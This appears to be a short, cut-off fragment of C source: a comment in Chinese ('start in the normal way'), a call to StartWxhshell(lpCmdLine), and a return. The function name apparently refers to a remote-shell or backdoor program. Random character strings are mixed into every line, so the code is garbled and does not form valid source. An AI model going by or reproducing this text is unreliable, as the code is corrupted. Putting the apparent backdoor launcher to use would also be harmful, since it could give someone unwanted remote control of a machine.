// 普通方式启动 kA7~Yu5|
StartWxhshell(lpCmdLine); `ENlV9
OVDMC4K2z!
return 0; -_y~rx >
}